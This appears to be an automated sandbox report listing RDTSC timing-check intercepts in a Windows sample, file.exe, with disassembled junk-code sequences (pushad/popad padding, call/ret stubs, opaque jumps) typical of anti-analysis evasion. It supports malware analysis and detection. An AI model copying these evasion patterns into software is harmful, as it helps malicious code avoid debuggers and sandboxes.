Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11598B8 second address: 11598D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b jnl 00007F5E94757C96h 0x00000011 jbe 00007F5E94757C96h 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159A27 second address: 1159A46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F5E94E4CBB6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159D27 second address: 1159D40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F5E94757CA2h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159D40 second address: 1159D44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159EAB second address: 1159ECD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F5E94757C96h 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d jl 00007F5E94757C96h 0x00000013 pop eax 0x00000014 push edi 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 pop edi 0x0000001a jnp 00007F5E94757C9Ch 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115D921 second address: 115D92B instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5E94E4CBACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115D92B second address: 115D993 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 jmp 00007F5E94757CA9h 0x0000000c push 00000003h 0x0000000e or edx, 193B9008h 0x00000014 push 00000000h 0x00000016 mov esi, eax 0x00000018 push 00000003h 0x0000001a push 00000000h 0x0000001c push edi 0x0000001d call 00007F5E94757C98h 0x00000022 pop edi 0x00000023 mov dword ptr [esp+04h], edi 0x00000027 add dword ptr [esp+04h], 0000001Dh 0x0000002f inc edi 0x00000030 push edi 0x00000031 ret 0x00000032 pop edi 0x00000033 ret 0x00000034 or dword ptr [ebp+122D2D40h], eax 0x0000003a push 804A29A1h 0x0000003f push eax 0x00000040 push edx 0x00000041 push edx 0x00000042 je 00007F5E94757C96h 0x00000048 pop edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115D993 second address: 115D9ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F5E94E4CBA6h 0x00000009 jne 00007F5E94E4CBA6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 xor dword ptr [esp], 404A29A1h 0x00000019 jng 00007F5E94E4CBBBh 0x0000001f lea ebx, dword ptr [ebp+1244F786h] 0x00000025 sub dh, FFFFFFA7h 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c pushad 0x0000002d popad 0x0000002e jmp 00007F5E94E4CBB6h 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115DA30 second address: 115DAAC instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5E94757C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e mov dword ptr [ebp+122D2D85h], edx 0x00000014 push ebx 0x00000015 jmp 00007F5E94757CA8h 0x0000001a pop edx 0x0000001b push 00000000h 0x0000001d mov di, EF00h 0x00000021 call 00007F5E94757C99h 0x00000026 jmp 00007F5E94757CA1h 0x0000002b push eax 0x0000002c pushad 0x0000002d jne 00007F5E94757C98h 0x00000033 push eax 0x00000034 push esi 0x00000035 pop esi 0x00000036 pop eax 0x00000037 popad 0x00000038 mov eax, dword ptr [esp+04h] 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F5E94757CA9h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115DC2D second address: 115DC3F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E94E4CBAAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115DD71 second address: 115DD75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115DD75 second address: 115DD91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E94E4CBB8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115DD91 second address: 115DD96 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115DD96 second address: 115DE05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop eax 0x00000008 sbb dx, BF45h 0x0000000d push 00000003h 0x0000000f js 00007F5E94E4CBA6h 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ecx 0x0000001a call 00007F5E94E4CBA8h 0x0000001f pop ecx 0x00000020 mov dword ptr [esp+04h], ecx 0x00000024 add dword ptr [esp+04h], 0000001Dh 0x0000002c inc ecx 0x0000002d push ecx 0x0000002e ret 0x0000002f pop ecx 0x00000030 ret 0x00000031 push 00000003h 0x00000033 add edx, 39414C39h 0x00000039 call 00007F5E94E4CBA9h 0x0000003e jp 00007F5E94E4CBACh 0x00000044 pushad 0x00000045 push ecx 0x00000046 pop ecx 0x00000047 push eax 0x00000048 pop eax 0x00000049 popad 0x0000004a push eax 0x0000004b push edx 0x0000004c push ecx 0x0000004d push esi 0x0000004e pop esi 0x0000004f pop ecx 0x00000050 pop edx 0x00000051 mov eax, dword ptr [esp+04h] 0x00000055 jbe 00007F5E94E4CBB0h 0x0000005b pushad 0x0000005c push ecx 0x0000005d pop ecx 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115DE05 second address: 115DE41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [eax] 0x00000007 pushad 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pop edx 0x0000000c jo 00007F5E94757C9Ch 0x00000012 jne 00007F5E94757C96h 0x00000018 popad 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d pushad 0x0000001e pushad 0x0000001f push edi 0x00000020 pop edi 0x00000021 jmp 00007F5E94757CA2h 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 jbe 00007F5E94757C96h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115DE41 second address: 115DE61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 sub dword ptr [ebp+122D2096h], edi 0x0000000e lea ebx, dword ptr [ebp+1244F79Ah] 0x00000014 jc 00007F5E94E4CBA6h 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115DE61 second address: 115DE7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E94757CA5h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115DE7B second address: 115DE93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5E94E4CBB4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117B37A second address: 117B37E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117B37E second address: 117B395 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a push ecx 0x0000000b js 00007F5E94E4CBA6h 0x00000011 push esi 0x00000012 pop esi 0x00000013 pop ecx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117B395 second address: 117B3B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E94757CA3h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117B941 second address: 117B947 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117BACC second address: 117BAE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jnc 00007F5E94757C9Eh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117BAE0 second address: 117BAE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117BBF9 second address: 117BBFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117BBFD second address: 117BC01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117BEAD second address: 117BEE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E94757CA9h 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F5E94757C9Bh 0x00000010 popad 0x00000011 jmp 00007F5E94757CA1h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117C09D second address: 117C0AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E94E4CBABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117C22F second address: 117C233 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117C4AA second address: 117C4AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1141514 second address: 1141518 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117CBCD second address: 117CBF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E94E4CBAAh 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007F5E94E4CBB3h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117CD2C second address: 117CD3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F5E94757C96h 0x0000000a popad 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117CD3A second address: 117CD3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117D049 second address: 117D051 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117D051 second address: 117D058 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117D058 second address: 117D07F instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5E94757C98h 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F5E94757C9Eh 0x0000000f jmp 00007F5E94757C9Dh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117D07F second address: 117D083 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F51E second address: 117F524 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1181CD5 second address: 1181CDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1181E2D second address: 1181E3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007F5E94757C96h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1181E3C second address: 1181E64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E94E4CBB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1187BE7 second address: 1187BFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E94757CA2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1187BFD second address: 1187C15 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5E94E4CBA6h 0x00000008 jl 00007F5E94E4CBA6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jg 00007F5E94E4CBACh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118805C second address: 1188077 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E94757CA3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1188077 second address: 118807B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11881ED second address: 11881F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11881F1 second address: 1188209 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E94E4CBAAh 0x00000007 js 00007F5E94E4CBA6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B673 second address: 118B678 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B734 second address: 118B738 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B738 second address: 118B73E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B73E second address: 118B753 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jo 00007F5E94E4CBA6h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B753 second address: 118B757 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118BDEF second address: 118BDF5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118BEF8 second address: 118BEFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118BEFE second address: 118BF03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118C45D second address: 118C48D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 jmp 00007F5E94757C9Bh 0x0000000d xchg eax, ebx 0x0000000e jng 00007F5E94757C97h 0x00000014 mov dword ptr [ebp+122D1BE7h], edx 0x0000001a push eax 0x0000001b jo 00007F5E94757CBBh 0x00000021 push eax 0x00000022 push edx 0x00000023 jnp 00007F5E94757C96h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118C670 second address: 118C675 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118C978 second address: 118C986 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 je 00007F5E94757C96h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118E906 second address: 118E90F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113C510 second address: 113C516 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D848 second address: 118D84D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113C516 second address: 113C525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jc 00007F5E94757C96h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113C525 second address: 113C52A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113C52A second address: 113C530 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118F04C second address: 118F06F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E94E4CBB4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jns 00007F5E94E4CBA6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118F06F second address: 118F079 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F5E94757C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118F805 second address: 118F819 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F5E94E4CBADh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1191CAC second address: 1191CB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1191CB0 second address: 1191CB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11943FA second address: 119440F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F5E94757C9Ch 0x0000000c jp 00007F5E94757C96h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119601E second address: 1196024 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1196024 second address: 1196028 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1196028 second address: 119602C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119796B second address: 1197985 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F5E94757CA1h 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1197985 second address: 11979A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F5E94E4CBAAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c je 00007F5E94E4CBC0h 0x00000012 jo 00007F5E94E4CBACh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1150572 second address: 115057B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115057B second address: 1150581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119AC95 second address: 119AD30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E94757C9Ch 0x00000009 popad 0x0000000a jne 00007F5E94757CA1h 0x00000010 popad 0x00000011 mov dword ptr [esp], eax 0x00000014 xor ebx, dword ptr [ebp+122D2B35h] 0x0000001a push 00000000h 0x0000001c mov ebx, dword ptr [ebp+122D1B61h] 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push ecx 0x00000027 call 00007F5E94757C98h 0x0000002c pop ecx 0x0000002d mov dword ptr [esp+04h], ecx 0x00000031 add dword ptr [esp+04h], 00000019h 0x00000039 inc ecx 0x0000003a push ecx 0x0000003b ret 0x0000003c pop ecx 0x0000003d ret 0x0000003e mov ebx, esi 0x00000040 mov dword ptr [ebp+122D2646h], edx 0x00000046 xchg eax, esi 0x00000047 pushad 0x00000048 pushad 0x00000049 push edx 0x0000004a pop edx 0x0000004b push edx 0x0000004c pop edx 0x0000004d popad 0x0000004e jmp 00007F5E94757CA9h 0x00000053 popad 0x00000054 push eax 0x00000055 pushad 0x00000056 jmp 00007F5E94757CA0h 0x0000005b push eax 0x0000005c push edx 0x0000005d jc 00007F5E94757C96h 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1199D90 second address: 1199E2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 jp 00007F5E94E4CBB9h 0x0000000d popad 0x0000000e push eax 0x0000000f je 00007F5E94E4CBBAh 0x00000015 jmp 00007F5E94E4CBB4h 0x0000001a nop 0x0000001b mov di, cx 0x0000001e push dword ptr fs:[00000000h] 0x00000025 xor dword ptr [ebp+1245F734h], eax 0x0000002b mov dword ptr fs:[00000000h], esp 0x00000032 mov edi, 30638B48h 0x00000037 mov eax, dword ptr [ebp+122D0C39h] 0x0000003d push edi 0x0000003e jmp 00007F5E94E4CBACh 0x00000043 pop edi 0x00000044 push FFFFFFFFh 0x00000046 push 00000000h 0x00000048 push esi 0x00000049 call 00007F5E94E4CBA8h 0x0000004e pop esi 0x0000004f mov dword ptr [esp+04h], esi 0x00000053 add dword ptr [esp+04h], 00000016h 0x0000005b inc esi 0x0000005c push esi 0x0000005d ret 0x0000005e pop esi 0x0000005f ret 0x00000060 push eax 0x00000061 mov edi, eax 0x00000063 pop edi 0x00000064 push eax 0x00000065 push eax 0x00000066 push edx 0x00000067 pushad 0x00000068 push esi 0x00000069 pop esi 0x0000006a push ebx 0x0000006b pop ebx 0x0000006c popad 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119DD20 second address: 119DD2A instructions: 0x00000000 rdtsc 0x00000002 jg 00007F5E94757C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119CF3B second address: 119CF40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119CFF4 second address: 119CFF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119EE4D second address: 119EE67 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E94E4CBB6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119EE67 second address: 119EE6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
